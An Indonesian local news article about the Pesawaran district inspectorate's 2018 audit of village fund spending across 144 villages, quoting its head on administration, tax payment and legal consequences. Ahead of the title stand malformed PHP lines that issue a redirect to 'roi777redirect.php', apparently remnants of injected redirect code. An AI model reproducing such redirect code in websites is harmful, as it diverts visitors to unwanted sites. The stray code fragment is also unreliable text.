header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); 2018, Inspektorat Fokus Pemeriksaan ADD dan DD -
2018, Inspektorat Fokus Pemeriksaan ADD dan DD

TRANSLAMPUNG.COM, PESAWARAN – Pihak pemerintahan desa diharapkan bisa benar-benar dapat mengelola Anggaran Dana Desa (ADD) maupun Dana Desa (DD) dengan baik. Jangan sampai terjadi penyimpangan dan penyalahgunaan anggaran tersebut.

Pengelolaan ADD dan DD yang baik ini ditekankan oleh Kepala Inspektorat Kabupaten Pesawaran, Cabrasman, Kamis (4/1).

Dia mengatakan, di tahun 2018 ini akan memfokuskan pemeriksaan di 144 desa, di Kabupaten Pesawaran terkait penggunaan anggaran tersebut, termasuk administrasi desa serta pembayaran pajaknya.

“Yang jelas untuk tahun 2018 ini kita akan konsentrasi di pemeriksaan ADD dan DD tahun 2017, termasuk kita juga akan lihat sejauh mana administrasi desa dan pembayaran pajaknya. Tapi kita fokusnya di ADD dan DD. Kita akan lihat realisasi fisiknya sejauh mana,” ujar Cabrasman.

Dikatakan, untuk pemeriksaan ADD dan DD, pihaknya akan meyelesaikan dalam kurun enam bulan, yang akan diawali dari Kecamatan Wayrilau.

“Pemeriksaan ini akan kita lakukan secara bertahap. Untuk pertama kita awali dari ke Kecamatan Wayrilau dan kita akan turun langsung ke masing-masing desa,” jelasnya.

Dalam pemeriksaan ADD dan DD untuk tahun 2016 yang dilakukan pada tahun 2017, tidak ada temuan yang mengarah ke pidana. Hanya sebatas kesalahan administrasi dan telat pembayaran pajak, serta kekurangan volume.

“Namun sebagian besar semuanya sudah kita tindak lanjuti. Sedangkan yang menyangkut pidana belum ada, karena untuk penangan ini Inspektorat hanya sebatas pembinaan. Tetapi apa bila ada pengaduan yang menyangkut pidana, kita tetap akan laporan ke aparat penegak hokum,” tegas Cabrasman.

Untuk itu, pihaknya berharap kepada seluruh kepala desa agar menghindari jeratan hokum. Sebaiknya dalam penggunaan ADD dan DD harus sesui mekanisme dan aturan yang ada. Jangan sampai terjadi penyimpangan.

“Kita berharap mereka itu (Kades) membangun harus berdasarkan usulan. Jangan melakukan penyimpangan. Kalau ada kelebihan anggaran, mereka wajib memulangkannya,” ujar dia. (ydn/rus)

News Reporter